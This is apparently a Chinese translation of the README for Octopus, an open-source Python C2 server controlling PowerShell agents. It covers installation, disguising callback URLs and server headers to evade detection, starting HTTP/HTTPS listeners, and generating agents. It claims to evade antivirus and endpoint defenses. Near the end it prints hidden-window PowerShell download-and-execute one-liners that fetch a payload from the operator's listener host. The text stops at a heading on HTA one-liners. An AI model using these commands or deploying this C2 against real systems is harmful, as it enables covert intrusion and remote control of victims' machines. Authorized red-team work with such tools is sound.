Octopus 是一个基于 Python 的开源预操作 C2 服务器,可以通过 HTTP/S 控制 Octopus PowerShell agent。
创建 Octopus 的主要目的是用于任何红队操作之前,你可以先使用 Octopus 攻击目标并收集信息,而不是一开始就投入完整的作战武器库和基础设施,然后再开始实际的红队操作。
Octopus 以一种非常简单的方式工作:通过良好加密的通道与 C2 执行命令并交换信息,这使得它对几乎所有防病毒软件、端点防护和网络监控解决方案都难以察觉且不被检测到。
Octopus 的一个很酷的功能叫做 ESA(Endpoint Situational Awareness,端点态势感知),它将收集目标的某些重要信息,帮助你更好地了解在操作中将要面对的目标网络端点,从而让你有机会根据这些信息定制你的实际操作。
Octopus 的设计使其在与 C2 通信时保持隐蔽和秘密,因为它默认使用 AES-256 加密 PowerShell agent 和 C2 服务器之间的通道。你也可以通过为你的域提供有效的证书并配置 Octopus C2 服务器来使用 SSL/TLS。
Octopus 包含许多功能,使你在实际需要部署全部武器库或工具与技术之前,就能深入了解即将进行的行动,例如:
你可以通过以下方式安装 Octopus 的所有依赖:
pip install -r requirements.txt
你需要为 Linux 安装 nasm 和 mingw-w64 编译器以使用 shellcode 功能和 spoofed args agent。
在基于 Debian 的发行版上,你可以使用以下命令安装 nasm:
apt install nasm
在基于 Debian 的发行版上,你可以使用以下命令安装 mingw-w64:
apt install mingw-w64
Octopus 已在以下操作系统上测试:
你还需要安装 mono 以确保能够顺利编译 C# 源代码。
Octopus 依赖 mono-csc 二进制文件来编译 C# 源代码,你可以使用以下命令安装它:apt install mono-devel,该命令已在 Kali 和 Ubuntu 16.04 上测试通过。
你可以在没有安装 mono 的情况下使用 Octopus,但将无法使用
generate_exe命令。
另请注意,编译 C# 依赖于 System.Management.Automation.dll 程序集,其 SHA1 哈希为 a43ed886b68c6ee913da85df9ad2064f1d81c470。
如果你在使用 Octopus 时遇到任何问题,请随时提交错误报告!
首先,请确保使用以下命令下载最新版本的 Octopus:
git clone https://github.com/mhaskar/Octopus/
然后,使用以下命令安装依赖项:
pip install -r requirements.txt
之后,你可以通过运行以下命令启动 Octopus 服务器:
./octopus.py
运行后,你将看到如下欢迎信息:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | 控制你的 shells
Octopus >>
Octopus 使用起来非常简单,你只需要启动一个监听器并根据该监听器的信息生成你的 agent。
你可以根据需要生成任意数量的监听器,然后开始与连接到这些监听器的 agent 进行交互。
在开始使用 Octopus 之前,你必须设置一个 URL 处理 profile,它将控制 C2 的行为和功能。由于 Octopus 是一个基于 HTTP 的 C2,因此它依赖 URL 来处理连接,同时确保这些 URL 不会成为你当前攻击的网络中的签名或 IoC。URL 可以根据需要轻松自定义和重命名。
目前,profile 设置仅支持 URL 处理、auto kill 值和 headers。
设置你的 profile
要开始设置你的 profile,你需要编辑 profile.py 文件,其中包含多个关键变量,分别是:
示例:
#!/usr/bin/python3
# 这是 Octopus C2 的 Web 监听器 profile
# 你可以自定义 profile 以处理特定的 URL 与 agent 通信
# TODO:添加自定义请求 headers 的功能
# 处理文件下载
# 例如:/anything
# 例如:/anything.php
file_receiver_url = "/messages"
# 处理报告生成
# 例如:/anything
# 例如:/anything.php
report_url = "/calls"
# 向 agent 发送命令(存储将在主机上执行的命令)
# 将 <hostname> 保持原样,使用相同格式
# 例如:/profile/<hostname>
# 例如:/messages/<hostname>
# 例如:/bills/<hostname>
command_send_url = "/view/<hostname>"
# 处理已执行的命令
# 例如:/anything
# 例如:/anything.php
command_receiver_url = "/bills"
# 处理来自 agent 的首次连接
# 例如:/anything
# 例如:/anything.php
first_ping_url = "/login"
# 在每个响应中作为 Server header 返回
server_response_header = "nginx"
# 返回包含 HTA 脚本的白页
mshta_url = "/hta"
# 经过 N 次尝试后的 auto kill 值
auto_kill = 10
agent 和监听器将使用此 profile 进行通信。接下来我们需要了解如何创建监听器。
Octopus 有两个主要的监听器:"http listener" 和 "https listener",两者的选项基本相同。
HTTP 监听器:
listen_http 命令需要以下参数来启动:
你也可以通过运行 listen_http 命令查看示例:
Octopus >>listen_http
[-] 请检查监听器参数!
语法 : listen_http BindIP BindPort hostname interval URL listener_name
示例(有域名): listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
示例(无域名): listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
选项信息:
BindIP 监听器将使用的 IP 地址
BindPort 你想要监听的端口
Hostname 将用于请求 payload
Interval agent 在检查命令之前等待的秒数
URL 存放 payload 的页面名称
Listener_name 要使用的监听器名称
Octopus >>
我们可以使用以下命令启动一个监听器:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
将返回以下结果:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
监听器已成功启动,我们可以使用 listeners 命令查看所有监听器:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS 监听器:
要创建 HTTPS 监听器,你可以使用 listen_https 命令,如下所示:
Octopus >>listen_https
[-] 请检查监听器参数!
语法 : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
示例(有域名): listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL 监听器已启动!
[+]darkside_operation 监听器已创建
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
listen_https 命令需要以下参数来启动:
请注意,你需要提供一个与所用域关联的有效 SSL 证书。
PowerShell 单行命令
要为监听器 operation1 生成 agent,我们可以使用以下命令:
generate_powershell operation1
我们将得到以下结果:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
注意 - 对于 Windows 7 客户端,你可能需要将 payload 前缀为 "Add-Type -AssemblyName System.Core;"
例如:powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
尽情渗透吧 ;)
#====================
Octopus >>
现在我们可以使用这个单行命令启动我们的 agent。
HTA 单行命令